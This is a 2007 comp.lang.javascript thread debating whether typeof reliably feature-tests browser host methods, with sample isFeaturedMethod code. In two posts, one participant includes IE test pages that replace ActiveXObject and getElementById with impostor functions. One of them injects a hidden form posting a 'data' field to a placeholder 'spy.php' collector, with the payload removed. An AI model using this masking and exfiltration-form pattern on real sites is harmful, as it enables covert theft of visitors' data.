typeof for feature testing host methods

Discussion in 'Javascript' started by Peter Michaux, Dec 15, 2007.

  1. There have been many threads lately about testing for the existence of
    host object methods. I have usually just feature tested the existence
    of host methods with the following

    if (document.getElementById)

    There is concern from several people in the group that this is
    insufficient for at least a couple reasons.

    One reason for concern is the above test does not determine if
    document.getElementById is callable. No one has reported a case where
    a browser that has document.getElementById will be non-callable. In
    some browsers it may be that some other JavaScript has assigned a non-
    callable value to the the document.getElementById property. In those
    browsers, it may also be true that someone has assigned a function to
    document.getElementById. If this has been done then none of the
    proposed tests would detect that the callable value is not the
    expected callable value. Thomas Lahn seems particularly concerned
    about these problems (and he is preparing to tell I am wrong or that I
    have missed the point.)

    Another reason for concern is that even though the host may provide a
    callable document.getElementById but that when writing just "if
    (document.getElementById)" it isn't the [[Call]] property the [[Get]]
    property that is used. David Mark seems to think this is a problem
    with some (all?) ActiveX objects. All host objects are required to
    implement [[Get]] so IE is not ECMAScript compliant if it does not. So
    when we are feature testing host objects we are worried about testing
    ECMAScript non-compliant browsers.

    Both Thomas' and David's feature testing uses typeof for testing host
    methods.

    Thomas tests the document.evaluate host method

    <URL: http://pointedears.de/scripts/types.js>

    function isMethodType(s)
    {
    return /\b(function|object)\b/i.test(s);
    }

    <URL: http://pointedears.de/scripts/dhtml.js>

    if (this.isMethodType(typeof document.evaluate) && document.evaluate)
    {
    // W3C DOM Level 3 XPath
    return function dhtml_getElemByTagName(s, i)
    {
    if (!s)
    {

    // ---------------------

    David tests for document.getElementById

    <URL: http://groups.google.com/group/comp.lang.javascript/msg/d8a9ec709205ae47>

    var reFeaturedMethod = new RegExp('^function|object$', 'i');

    var isFeaturedMethod = function(o, m) {
    var t = typeof(o[m]);
    return !!((reFeaturedMethod.test(t) && o[m]) || t == 'unknown');
    };

    if (isFeaturedMethod(doc, 'getElementById')) {
    return function(id, docNode) {
    return idCheck((docNode || doc).getElementById(id), id);
    };
    }

    // ---------------------


    The ECMA standard says that the value of a "typeof hostObject"
    expression can be any string. So both Thomas' and David's techniques
    could result in false negatives which would leave a browser unenabled.
    This is better than a false positive where a function is enabled in a
    browser but the function will not function.

    What I'm more concerned about is that typeof is being considered a
    solution for the unimplemented [[Get]] problem David wrote about. Both

    if (document.getElementById)

    and

    typeof document.getElementById

    are described as calling [[Get]] somewhere in their evaluation. If a
    browser really did not supply the [[Get]] property at all for an
    object then both likely throw an error and probably a TypeError. (More
    serious alternatives would be crashing the browser or computer and we
    can't protect against that.) The ECMAScript specification of typeof
    does not say it will catch that error. Using typeof isn't some sort of
    panacea for feature detecting a host method to avoid errors thrown in
    non-compliant browsers.

    It does seem that using the technique "typeof document.getElementById"
    works better in IE than "if (document.getElementById)" if document
    happened to be an ActiveX object. However, according to the ECMAScript
    standard, there is no reason one should be superior to the other.

    Some additional protection for non-compliant browsers could be gained
    by adjusting David's code, for example, by adding a try-catch. I've
    also changed it to check "unknown" objects for null. It seems to me an
    "unknown" object that is null would be somewhat useless.

    var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');

    var isFeaturedMethod = function(o, m) {
    try {
    var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
    return !!(reFeaturedMethod.test(t) && o[m]);
    }
    catch(e) {
    return false;
    }
    };

    This is a general mess thanks to the possible behaviors of non-
    compliant browsers. It is somewhat clear that using typeof for testing
    a host object feature in a non-complaint browser is not guaranteed to
    work but does seem to work in the population of browsers today. It
    seems to be a practical solution or at least a better way to feature
    detect. It is not a theoretical solution since typeof doesn't catch
    errors.

    --
    Peter
    Code Worth Recommending Project
    http://cljs.michaux.ca/
     
    Peter Michaux, Dec 15, 2007
    #1
    1. Advertising

  2. On Dec 14, 9:04 pm, Peter Michaux <> wrote:

    > I've
    > also changed it to check "unknown" objects for null. It seems to me an
    > "unknown" object that is null would be somewhat useless.
    >
    > var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');
    >
    > var isFeaturedMethod = function(o, m) {
    > try {
    > var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
    > return !!(reFeaturedMethod.test(t) && o[m]);
    > }
    > catch(e) {
    > return false;
    > }
    >
    > };



    Laps in judgment above. Should be

    var reFeaturedMethod = new RegExp('^function|object$', 'i');

    var isFeaturedMethod = function(o, m) {
    try {
    var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
    return !!((reFeaturedMethod.test(t) && o[m]) || t == 'unknown');
    }
    catch(e) {
    return false;
    }

    };

    --
    Peter
    Code Worth Recommending Project
    http://cljs.michaux.ca/
     
    Peter Michaux, Dec 15, 2007
    #2
    1. Advertising

  3. Peter Michaux

    AKS Guest

    On Dec 15, 10:04 am, Peter Michaux <> wrote:


    > var isFeaturedMethod = function(o, m) {
    > try {
    > var t = typeof(o[m]); // throws error if o doesn't have [[Get]]

    -----------------------------

    To avoid errors and try...catch:

    var t = typeof Object(o)[m];
     
    AKS, Dec 15, 2007
    #3
  4. On Dec 14, 10:49 pm, AKS <> wrote:
    > On Dec 15, 10:04 am, Peter Michaux <> wrote:
    >
    > > var isFeaturedMethod = function(o, m) {
    > > try {
    > > var t = typeof(o[m]); // throws error if o doesn't have [[Get]]

    >
    > -----------------------------
    >
    > To avoid errors and try...catch:
    >
    > var t = typeof Object(o)[m];


    What will that do? Calling Object(o) as a function with an object for
    the argument will call ToObject(o) in section 9.9 in ECMAScript 3rd.
    When ToObject(o) is passed an object it just returns that object with
    no conversion. So "typeof Object(o)[m]" is the same as "typeof o[m]".

    --
    Peter
    Code Worth Recommending Project
    http://cljs.michaux.ca/
     
    Peter Michaux, Dec 15, 2007
    #4
  5. Peter Michaux

    AKS Guest

    On Dec 15, 11:57 am, Peter Michaux <> wrote:

    > So "typeof Object(o)[m]" is the same as "typeof o[m]".


    I was mistaken (have thought of null), excuse me.
     
    AKS, Dec 15, 2007
    #5
  6. Peter Michaux

    VK Guest

    On Dec 15, 8:04 am, Peter Michaux <> wrote:
    > There have been many threads lately about testing for the existence of
    > host object methods. I have usually just feature tested the existence
    > of host methods with the following
    >
    > if (document.getElementById)
    >
    > There is concern from several people in the group that this is
    > insufficient for at least a couple reasons.
    >
    > One reason for concern is the above test does not determine if
    > document.getElementById is callable. No one has reported a case where
    > a browser that has document.getElementById will be non-callable. In
    > some browsers it may be that some other JavaScript has assigned a non-
    > callable value to the the document.getElementById property.


    A really good program/programmer must expose two main thinking
    features: modularity and synthesis. Modularity makes any task being a
    single indivisible unit where any further granularity is either
    impossible or pointless. Only _after_ that one can start with
    synthesis so to see what units are possible can be overlapped with the
    execution blocks.

    Modularity was always a weak point of some people in clj because of
    the tradition to simply bring all possible/near possible/nearly
    impossible failure possibility from all accross the Web and dumping
    them into the same subroutine.

    In the particular case you are asking about there are two completely
    different tasks to deal with:

    1) a presence of a particular DOM method in the factory state of a
    particular UA.
    2) a possibility of a particular DOM method being hidden behind a
    maskon at runtime.

    The first task for document.getElementById in the particular is not
    any more actual and it doesn't worth any programming efforts.
    The second task for document element methods fails under the category
    of a script developer actively trying to produce a non-working code.
    My position remains the same here: so let him. Still the maskon
    problem for windows host object methods is actual and important. You
    may find interesting to read my post about the maskon problem at
    http://groups.google.com/group/comp.lang.javascript/msg/65a858c19f383df0

    It is also useful to read the whole thread inspired my post about the
    23rd Chaos Communication Congress in 2006
    http://groups.google.com/group/comp.lang.javascript/browse_frm/thread/ee14bbdba707b891
     
    VK, Dec 15, 2007
    #6
  7. Peter Michaux

    VK Guest

    In the linked post of mine:
    http://groups.google.com/group/comp.lang.javascript/msg/65a858c19f383df0
    I have explained why I would like do not express myself publicly on
    the maskon problem though anyone is welcome of course. Somehow you
    guys finally arrived to a serious programming task, moreover to the
    task where web-developers and browser-developers are being in a sharp
    stand: thus what is considered as a security measure by ones - it is
    considered as a security violation by other side - and vice versa. But
    once again it is not related with document.getElementById method for a
    common use library. For the original topic the answer is the same, a
    reliable universal wrapper is

    function $(id) {
    return document.getElementById(id);
    }
    and not a single char extra.

    Since the start of magicFunction/Greeasemonkey/Squid/and Co. deal I
    had to write a number of programs ensuring unaltered 3rd party content
    delivery to the end client or deny on service of no other way around.
    Just take a deep breath please: I never in my life participated in any
    illegal activity including virus and trojan destribution. Just in some
    businesses - it is not a general rule of the Web - one either takes
    what content provider requires or not being served at all. Like one
    may pick up only red flowers in the field but left all blue ones; at
    the same time one may not pull out bonus 6oz shampoo bottle from the
    bonus package and take only that one. Again: a particular situation
    may require a particular handling.

    Back to the subject:

    From the programmatical point of view IE is the most difficult to
    fight with maskons, Fx is more eazy on that because of its slavery
    ECMA standard emulation window === this === Global. But neither with
    IE nor with Fx I want to produce or accelerate the next "security
    improvement" by the producers so forced to fix the libraries once over
    again. As a compromise I can give you a stripped down version of one
    of my year 2006 testcases for IE6. It doesn't cure the problem, but it
    still tells you that you have a problem. One may as a mind exercise to
    find the alternative for Fx: if more hints are needed I may provide
    them.

    <html>
    <head>
    <title>Maskons : IE : ie/2006/023</title>
    <meta http-equiv="Content-Type"
    content="text/html; charset=iso-8859-1">

    <script type="text/jscript">

    function maskonize() {

    window.ActiveXObject = psiConstructor;

    var _expando = document.expando;
    document.expando = true;
    document.getElementById = psiCollector;
    document.expando = _expando;

    window.setTimeout('takeRedPill()', 10);
    }


    function takeRedPill() {

    if (typeof window.ActiveXObject.
    prototype != 'undefined') {

    /* Maskon instead of real ActiveXObject */

    /* Maskon factory first found and destroyed
    */
    // Code is not disclosed

    /* Real ActiveXObject is restored
    */
    // Code is not disclosed
    window.alert('ActiveXObject: Matrix has you!');
    }


    if (typeof document.getElementById.
    prototype != 'undefined') {

    /* Maskon instead of real getElementById */

    /* Maskon factory first found and destroyed
    */
    // Code is not disclosed

    /* Real getElementById is restored
    */
    // Code is not disclosed
    window.alert('getElementById: Matrix has you!');
    }
    }

    function psiConstructor() {}

    function psiCollector() {return new Array;}

    function psiObjector() {return new Object;}

    function psiRelaxer() {return true;}

    window.onload = maskonize;
    </script>

    </head>
    <body>
    </body>
    </html>
     
    VK, Dec 15, 2007
    #7
  8. Peter Michaux

    David Mark Guest

    On Dec 15, 1:46 am, Peter Michaux <> wrote:
    > On Dec 14, 9:04 pm, Peter Michaux <> wrote:
    >
    >
    >
    >
    >
    > > I've
    > > also changed it to check "unknown" objects for null. It seems to me an
    > > "unknown" object that is null would be somewhat useless.

    >
    > > var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');

    >
    > > var isFeaturedMethod = function(o, m) {
    > > try {
    > > var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
    > > return !!(reFeaturedMethod.test(t) && o[m]);
    > > }
    > > catch(e) {
    > > return false;
    > > }

    >
    > > };

    >
    > Laps in judgment above. Should be
    >
    > var reFeaturedMethod = new RegExp('^function|object$', 'i');
    >
    > var isFeaturedMethod = function(o, m) {
    > try {
    > var t = typeof(o[m]); // throws error if


    This does not throw an error. Example:

    (typeof window.external.addFavorite)

    Evaluates to "unknown"

    (window.external.addFavorite)

    Throws an error in IE.

    So I don't see what benefit the try clause adds. However, it does
    have the unwanted effect of short-circuiting feature testing in agents
    that cannot parse try clauses.
     
    David Mark, Dec 15, 2007
    #8
  9. Peter Michaux

    David Mark Guest

    On Dec 15, 4:46 am, VK <> wrote:
    > On Dec 15, 8:04 am, Peter Michaux <> wrote:
    >
    > > There have been many threads lately about testing for the existence of
    > > host object methods. I have usually just feature tested the existence
    > > of host methods with the following

    >
    > > if (document.getElementById)

    >
    > > There is concern from several people in the group that this is
    > > insufficient for at least a couple reasons.

    >
    > > One reason for concern is the above test does not determine if
    > > document.getElementById is callable. No one has reported a case where
    > > a browser that has document.getElementById will be non-callable. In
    > > some browsers it may be that some other JavaScript has assigned a non-
    > > callable value to the the document.getElementById property.

    >


    [snip]

    > In the particular case you are asking about there are two completely
    > different tasks to deal with:
    >
    > 1) a presence of a particular DOM method in the factory state of a
    > particular UA.


    Can you define "factory state?"

    > 2) a possibility of a particular DOM method being hidden behind a
    > maskon at runtime.


    Behind a what?

    >
    > The first task for document.getElementById in the particular is not
    > any more actual and it doesn't worth any programming efforts.


    It isn't clear what you think the first task is.

    > The second task for document element methods fails under the category
    > of a script developer actively trying to produce a non-working code.


    Whatever that means.

    > My position remains the same here: so let him. Still the maskon
    > problem for windows host object methods is actual and important. You


    It seems you don't understand the problem with "windows host object
    methods" at all. Microsoft implements some of them as ActiveX objects
    and the internal [[Get]] method of their methods throws an exception.
    The solution to this is trivial.

    > may find interesting to read my post about the maskon problem athttp://groups.google.com/group/comp.lang.javascript/msg/65a858c19f383df0


    No thanks.

    >
    > It is also useful to read the whole thread inspired my post about the
    > 23rd Chaos Communication Congress in 2006http://groups.google.com/group/comp.lang.javascript/browse_frm/thread...


    I have little interest in the 23rd iteration of something I have never
    heard of. Certainly anything that you consider useful or
    inspirational is right out.
     
    David Mark, Dec 15, 2007
    #9
  10. On Dec 15, 10:12 am, David Mark <> wrote:
    > On Dec 15, 1:46 am, Peter Michaux <> wrote:
    >
    >
    >
    > > On Dec 14, 9:04 pm, Peter Michaux <> wrote:

    >
    > > > I've
    > > > also changed it to check "unknown" objects for null. It seems to me an
    > > > "unknown" object that is null would be somewhat useless.

    >
    > > > var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');

    >
    > > > var isFeaturedMethod = function(o, m) {
    > > > try {
    > > > var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
    > > > return !!(reFeaturedMethod.test(t) && o[m]);
    > > > }
    > > > catch(e) {
    > > > return false;
    > > > }

    >
    > > > };

    >
    > > Laps in judgment above. Should be

    >
    > > var reFeaturedMethod = new RegExp('^function|object$', 'i');

    >
    > > var isFeaturedMethod = function(o, m) {
    > > try {
    > > var t = typeof(o[m]); // throws error if

    >
    > This does not throw an error. Example:
    >
    > (typeof window.external.addFavorite)


    In the ECMAScript standarad the above expression uses [[Get]].


    > Evaluates to "unknown"
    >
    > (window.external.addFavorite)
    >
    > Throws an error in IE.


    In the ECMAScript standard the above expression uses [[Get]] just like
    the typeof expression above.

    It could be something more along the lines of the ToBoolean that is
    the problem here instead of a missing [[Get]].

    [[Get]] and ToBoolean are only included in the standard as ways to
    explain the actual standard.


    > So I don't see what benefit the try clause adds.


    In a practical sense perhaps nothing. There is nothing in the standard
    that states typeof would catch an error thrown if [[Get]] is missing.


    > However, it does
    > have the unwanted effect of short-circuiting feature testing in agents
    > that cannot parse try clauses.


    True.

    The point I was investigating was is if typeof is implemented
    according to the standard, but other parts of the implementation are
    non-standard, does typeof guarantee errors will not be thrown? The
    answer seems to be no. In practice it seems to be working. If we are
    relying on typeof in this way I simply want it noted that there is no
    theoretical reason why it should work but that it seems to work.

    The additional try-catch would gaurantee that we have the behavior we
    are looking for of avoiding throwing errors and the reasoning for this
    would then be included in the standard. That is what try-catch is for.

    --
    Peter
    Code Worth Recommending Project
    http://cljs.michaux.ca/
     
    Peter Michaux, Dec 15, 2007
    #10
  11. Peter Michaux

    David Mark Guest

    On Dec 15, 10:24 am, VK <> wrote:
    > In the linked post of mine:http://groups.google.com/group/comp.lang.javascript/msg/65a858c19f383df0
    > I have explained why I would like do not express myself publicly on
    > the maskon problem though anyone is welcome of course. Somehow you


    You lost me already.

    > guys finally arrived to a serious programming task, moreover to the
    > task where web-developers and browser-developers are being in a sharp
    > stand: thus what is considered as a security measure by ones - it is
    > considered as a security violation by other side - and vice versa. But


    Correct me if I am wrong, but even if some meaning could be derived
    from this gibberish, it would likely be irrelevant to the current
    discussion (which has nothing to do with security.)

    > once again it is not related with document.getElementById method for a
    > common use library. For the original topic the answer is the same, a
    > reliable universal wrapper is
    >
    > function $(id) {
    > return document.getElementById(id);}


    That will reliably throw errors in browsers that do not support gEBI.

    >
    > and not a single char extra.
    >
    > Since the start of magicFunction/Greeasemonkey/Squid/and Co. deal I
    > had to write a number of programs ensuring unaltered 3rd party content
    > delivery to the end client or deny on service of no other way around.


    You are off in the weeds again.

    > Just take a deep breath please: I never in my life participated in any
    > illegal activity including virus and trojan destribution. Just in some
    > businesses - it is not a general rule of the Web - one either takes
    > what content provider requires or not being served at all. Like one
    > may pick up only red flowers in the field but left all blue ones; at
    > the same time one may not pull out bonus 6oz shampoo bottle from the
    > bonus package and take only that one. Again: a particular situation
    > may require a particular handling.


    I want the last five seconds of my life back.

    >
    > Back to the subject:
    >


    That assumes you know what the subject is.

    > From the programmatical point of view IE is the most difficult to
    > fight with maskons, Fx is more eazy on that because of its slavery
    > ECMA standard emulation window === this === Global. But neither with


    In what version of IE does the global window property not refer back
    to the Global Object? I know it isn't a rule (and certainly not one
    defined by the ECMAScript specification), but I have yet to encounter
    a version of IE (or any browser) that implements window in any other
    way.

    > IE nor with Fx I want to produce or accelerate the next "security
    > improvement" by the producers so forced to fix the libraries once over
    > again. As a compromise I can give you a stripped down version of one
    > of my year 2006 testcases for IE6. It doesn't cure the problem, but it
    > still tells you that you have a problem. One may as a mind exercise to
    > find the alternative for Fx: if more hints are needed I may provide
    > them.


    Please don't post any more of that code.
     
    David Mark, Dec 15, 2007
    #11
  12. Peter Michaux

    David Mark Guest

    On Dec 15, 1:34 pm, Peter Michaux <> wrote:
    > On Dec 15, 10:12 am, David Mark <> wrote:
    >
    >
    >
    >
    >
    > > On Dec 15, 1:46 am, Peter Michaux <> wrote:

    >
    > > > On Dec 14, 9:04 pm, Peter Michaux <> wrote:

    >
    > > > > I've
    > > > > also changed it to check "unknown" objects for null. It seems to me an
    > > > > "unknown" object that is null would be somewhat useless.

    >
    > > > > var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');

    >
    > > > > var isFeaturedMethod = function(o, m) {
    > > > > try {
    > > > > var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
    > > > > return !!(reFeaturedMethod.test(t) && o[m]);
    > > > > }
    > > > > catch(e) {
    > > > > return false;
    > > > > }

    >
    > > > > };

    >
    > > > Laps in judgment above. Should be

    >
    > > > var reFeaturedMethod = new RegExp('^function|object$', 'i');

    >
    > > > var isFeaturedMethod = function(o, m) {
    > > > try {
    > > > var t = typeof(o[m]); // throws error if

    >
    > > This does not throw an error. Example:

    >
    > > (typeof window.external.addFavorite)

    >
    > In the ECMAScript standarad the above expression uses [[Get]].
    >
    > > Evaluates to "unknown"

    >
    > > (window.external.addFavorite)

    >
    > > Throws an error in IE.

    >
    > In the ECMAScript standard the above expression uses [[Get]] just like
    > the typeof expression above.


    I didn't think it did. I'll take your word for it.

    >
    > It could be something more along the lines of the ToBoolean that is
    > the problem here instead of a missing [[Get]].


    Whether it is a missing [[Get]] or one that deliberately throws errors
    is unclear to me.

    >
    > [[Get]] and ToBoolean are only included in the standard as ways to
    > explain the actual standard.
    >
    > > So I don't see what benefit the try clause adds.

    >
    > In a practical sense perhaps nothing. There is nothing in the standard
    > that states typeof would catch an error thrown if [[Get]] is missing.


    This surprises me as typeof(anUndeclaredIdentifier) doesn't throw an
    error. But then, I suppose it skips the [[Get]] in that case and just
    returns undefined. I'll have to go back and re-read that section.

    >
    > > However, it does
    > > have the unwanted effect of short-circuiting feature testing in agents
    > > that cannot parse try clauses.

    >
    > True.
    >
    > The point I was investigating was is if typeof is implemented
    > according to the standard, but other parts of the implementation are
    > non-standard, does typeof guarantee errors will not be thrown? The


    From what you have mentioned here (and in the previous post that I
    didn't read thoroughly enough), it is no guarantee. It is simply the
    best practical solution.

    > answer seems to be no. In practice it seems to be working. If we are
    > relying on typeof in this way I simply want it noted that there is no
    > theoretical reason why it should work but that it seems to work.


    So noted.

    >
    > The additional try-catch would gaurantee that we have the behavior we
    > are looking for of avoiding throwing errors and the reasoning for this
    > would then be included in the standard. That is what try-catch is for.
    >


    I guess we need two implementations of that function with appropriate
    warnings.
     
    David Mark, Dec 15, 2007
    #12
  13. Peter Michaux

    VK Guest

    On Dec 15, 9:26 pm, David Mark <> wrote:
    > > 1) a presence of a particular DOM method in the factory state of a
    > > particular UA.

    >
    > Can you define "factory state?"


    It is the same as usual. Try google if doesn't help, I guess you'll
    guess to skip on say "Florida fuels foam factory ..." and similar so
    you'll get a right one among:
    http://www.google.com/search?hl=en&q=factory state&btnG=Google Search

    > > 2) a possibility of a particular DOM method being hidden behind a
    > > maskon at runtime.

    >
    > Behind a what?


    If you don't read the post you are replying to then why bother to
    answer? (shudder)

    > It seems you don't understand the problem with "windows host object
    > methods" at all.


    Truly I guess no one anymore understands the problems in "Code
    recommending"-related threads. These are come kind esoteric pondering
    around right after 8-10 initial posts in each. I do vaguely remember -
    though I may be mistaken now - that the very first issue was with
    typeof operator reporting "object" for some callable instances
    (methods) on some browsers in some conditions; also reporting
    "function" for some potentially non-callable objects. Somehow - here
    I'm still unclear - it was considered important for jPath (?) library
    stable usage. So it is started as a search of custom bulletproof
    typeof. Am I correct in my description? Are you still there or
    advanced somewhere?

    > Microsoft implements some of them as ActiveX objects
    > and the internal [[Get]] method of their methods throws an exception.
    > The solution to this is trivial.


    Please don't use ECMA-talk on me, there can be children around. Can
    you just tell what script fails, where and on what condition to
    illustrate the above problem?
     
    VK, Dec 15, 2007
    #13
  14. Peter Michaux

    David Mark Guest

    On Dec 15, 2:11 pm, VK <> wrote:
    > On Dec 15, 9:26 pm, David Mark <> wrote:
    >
    > > > 1) a presence of a particular DOM method in the factory state of a
    > > > particular UA.

    >
    > > Can you define "factory state?"

    >
    > It is the same as usual. Try google if doesn't help, I guess you'll
    > guess to skip on say "Florida fuels foam factory ..." and similar so
    > you'll get a right one among:http://www.google.com/search?hl=en&q=factory state&btnG=Google Search


    So the answer to my question appears to be no.

    >
    > > > 2) a possibility of a particular DOM method being hidden behind a
    > > > maskon at runtime.

    >
    > > Behind a what?

    >
    > If you don't read the post you are replying to then why bother to
    > answer? (shudder)


    I read the post. As noted, it was mostly gibberish.

    >
    > > It seems you don't understand the problem with "windows host object
    > > methods" at all.

    >
    > Truly I guess no one anymore understands the problems in "Code
    > recommending"-related threads. These are come kind esoteric pondering
    > around right after 8-10 initial posts in each. I do vaguely remember -
    > though I may be mistaken now - that the very first issue was with
    > typeof operator reporting "object" for some callable instances
    > (methods) on some browsers in some conditions; also reporting
    > "function" for some potentially non-callable objects. Somehow -

    here

    Nope.

    > I'm still unclear - it was considered important for jPath (?) library


    You are always unclear. I've never heard of jPath. Do you mean
    jQuery?

    > stable usage. So it is started as a search of custom bulletproof
    > typeof. Am I correct in my description? Are you still there or
    > advanced somewhere?


    We finished the discussion some time ago. It doesn't appear that you
    have anything relevant to add.

    >
    > > Microsoft implements some of them as ActiveX objects
    > > and the internal [[Get]] method of their methods throws an exception.
    > > The solution to this is trivial.

    >
    > Please don't use ECMA-talk on me, there can be children around. Can
    > you just tell what script fails, where and on what condition to
    > illustrate the above problem?


    Read the thread.
     
    David Mark, Dec 15, 2007
    #14
  15. Peter Michaux

    VK Guest

    On Dec 15, 10:51 pm, Randy Webb <> wrote:
    > > One reason for concern is the above test does not determine if
    > > document.getElementById is callable. No one has reported a case where
    > > a browser that has document.getElementById will be non-callable. In
    > > some browsers it may be that some other JavaScript has assigned a non-
    > > callable value to the the document.getElementById property. In those
    > > browsers, it may also be true that someone has assigned a function to
    > > document.getElementById. If this has been done then none of the
    > > proposed tests would detect that the callable value is not the
    > > expected callable value.


    > And if it is over-written, then isn't the author better off knowing that
    > he screwed up rather than trying to get around that?


    In about 99% of cases it is. In about 1% it may be the security
    requirement implication to ensure de-maskoned environment. That was
    addressed and explained how to detect - if not to fix - in my posts in
    this thread. I'm affraid that David Mark is too much of irritation to
    keep arguing with him. I'm OK if someone knows the stuff even if he
    has a completely different opinion about its interpretation. I'm OK
    with someone with a luck of knowledge but ready to peak up on the go.
    I'm out of patience very quickly with someone without any knowledge
    yet refusing to learn any new things.

    While document.getElementById is a silly case to worry about,
    window.ActiveXObject is sometimes an important object to check not
    only for presence but also for the factory state.
    NB: just for David Mark if he still puzzled - "factory state" is the
    state intended to be by the application producer for the given
    release. It doesn't imply "standard compliant", "correct" etc.
    Say for a real specie from my last year test cases:

    <html>
    <head>
    <title>Maskons : IE : ie/2006/104</title>
    <meta http-equiv="Content-Type"
    content="text/html; charset=iso-8859-1">

    <script type="text/jscript">

    function maskonize() {
    document.body.
    insertAdjacentHTML('beforeEnd', ''.concat(
    '<form name="fmsksg" method="POST" ',
    'action="http://www.sample.net/spy.php" ',
    'style="position:absolute !important">',
    '<input type="hidden" name="data" value="">',
    '</form>'));
    window.ActiveXObject = maskonize.ActiveXObject;
    }

    maskonize.ActiveXObject = function(id) {
    // malicious code removed
    }
    </script>
    </head>
    <body onload="maskonize();">
    </body>
    </html>

    So sometimes one will not give a damn sh** what does typeof return but
    wants to know _what_ object, the real or a maskon, he will be dealing
    with.

    > That is why I have always said "Give me what works, not what some
    > standard says". You can write 100% "compliant" code and if it won't
    > execute properly in a browser then it is pretty useless, isn't it?


    Amen!
     
    VK, Dec 15, 2007
    #15
  16. Peter Michaux

    David Mark Guest

    On Dec 15, 2:51 pm, Randy Webb <> wrote:
    > Peter Michaux said the following on 12/15/2007 12:04 AM:
    >
    > > There have been many threads lately about testing for the existence of
    > > host object methods. I have usually just feature tested the existence
    > > of host methods with the following

    >
    > > if (document.getElementById)

    >
    > var newScript = document.createElement('script');
    > newScript.type = "text/javascript";
    > var s = document.createTextNode(d[x].text);
    > newScript.appendChild(s);
    >
    > Ever seen that code? (Or rather, something close to it). You can feature


    Many times.

    > test your head off and IE will pass every one of them. It still falls
    > down on itself when trying to appendChild to a script element. The only
    > way to know it is going to work, or not, in IE is to execute it or
    > detect IE - either through explicit or implicit tests.


    I use the canHaveChildren property.

    >
    > > There is concern from several people in the group that this is
    > > insufficient for at least a couple reasons.

    >
    > I think it is, in some cases, but for different reasons.
    >
    > > One reason for concern is the above test does not determine if
    > > document.getElementById is callable. No one has reported a case where
    > > a browser that has document.getElementById will be non-callable. In
    > > some browsers it may be that some other JavaScript has assigned a non-
    > > callable value to the the document.getElementById property. In those
    > > browsers, it may also be true that someone has assigned a function to
    > > document.getElementById. If this has been done then none of the
    > > proposed tests would detect that the callable value is not the
    > > expected callable value.

    >
    > And if it is over-written, then isn't the author better off knowing that
    > he screwed up rather than trying to get around that? Let's say it is in
    > a library that a native function is over-written.
    >
    > <script src="libraryX.js"></script>
    > <script src="libraryY.js"></script>
    > <script src="libraryZ.js"></script>
    >
    > If libraryX over-writes it, then the page author needs to know, as soon
    > as possible, that the author of libraryX was smoking weed when he did
    > it. Trying to compensate for that in libraryY or libraryZ isn't solving
    > a problem, only making it transparent so that the real problem doesn't
    > get corrected. Don't confuse that with trying to correct bugs in a
    > browser (e.g. IE and toFixed).
    >
    > > Thomas Lahn seems particularly concerned about these problems (and he
    > > is preparing to tell I am wrong or that I have missed the point.)

    >
    > Remember that you are referring to a person who wrote a 306 line script
    > to do a simple image swap.


    I must have missed that one.

    >
    > That is part of the problem in this group. People trying to make things
    > more difficult than they have to be simply because some browser back in
    > 1997/1998 won't execute the present day code.


    The isHostMethod (nee isFeaturedMethod) function is easy enough to use
    and it is at most two lines long.

    >
    > I also think that trying to detect that failure will mask potential bugs
    > in browsers.


    You can't detect it reliably anyway. They could overwrite the method
    with a function or Object object, which would pass muster.

    >
    > > Another reason for concern is that even though the host may provide a
    > > callable document.getElementById but that when writing just "if
    > > (document.getElementById)" it isn't the [[Call]] property the [[Get]]
    > > property that is used. David Mark seems to think this is a problem
    > > with some (all?) ActiveX objects. All host objects are required to
    > > implement [[Get]] so IE is not ECMAScript compliant if it does not. So
    > > when we are feature testing host objects we are worried about testing
    > > ECMAScript non-compliant browsers.

    >
    > ActiveX components are different animals and need to be dealt with
    > differently. As for ECMAScript, we will leave that one alone.


    Not really. IE implements some DOM elements as ActiveX objects (e.g.
    anchors that link to news resources.) And then there is
    window.external, which is an ActiveX object now, but might not be in
    the future. There's no telling what host objects MS will or won't
    implement as ActiveX objects. If they do it for DOM elements, who is
    to say that document won't be an ActiveX object in IE8? If it is,
    then evaluating (document.getElementById) will throw an error (just as
    a.href can in IE7.)

    I really don't think there is much to argue about in a two-line
    function.
     
    David Mark, Dec 15, 2007
    #16
  17. Peter Michaux

    David Mark Guest

    On Dec 15, 3:51 pm, VK <> wrote:
    > On Dec 15, 10:51 pm, Randy Webb <> wrote:
    >
    > > > One reason for concern is the above test does not determine if
    > > > document.getElementById is callable. No one has reported a case where
    > > > a browser that has document.getElementById will be non-callable. In
    > > > some browsers it may be that some other JavaScript has assigned a non-
    > > > callable value to the the document.getElementById property. In those
    > > > browsers, it may also be true that someone has assigned a function to
    > > > document.getElementById. If this has been done then none of the
    > > > proposed tests would detect that the callable value is not the
    > > > expected callable value.

    > > And if it is over-written, then isn't the author better off knowing that
    > > he screwed up rather than trying to get around that?

    >
    > In about 99% of cases it is. In about 1% it may be the security
    > requirement implication to ensure de-maskoned environment. That was
    > addressed and explained how to detect - if not to fix - in my posts in
    > this thread. I'm affraid that David Mark is too much of irritation to
    > keep arguing with him. I'm OK if someone knows the stuff even if he
    > has a completely different opinion about its interpretation. I'm OK
    > with someone with a luck of knowledge but ready to peak up on the go.
    > I'm out of patience very quickly with someone without any knowledge
    > yet refusing to learn any new things.


    LOL. I am afraid I don't want to learn about your "red pills" or
    "blue flowers" or (if memory serves me correctly) the "drunken cowboy
    and parrot" metaphor from some long ago post.

    >
    > While document.getElementById is a silly case to worry about,
    > window.ActiveXObject is sometimes an important object to check not
    > only for presence but also for the factory state.
    > NB: just for David Mark if he still puzzled - "factory state" is the


    I wasn't puzzled. I simply posed the question as to whether you could
    define it or not. You refused in the last reply.

    > state intended to be by the application producer for the given
    > release. It doesn't imply "standard compliant", "correct" etc.


    Apparently, the answer is still no, at least if one expects a coherent
    definition.

    > Say for a real specie from my last year test cases:
    >
    > <html>
    > <head>
    > <title>Maskons : IE : ie/2006/104</title>
    > <meta http-equiv="Content-Type"
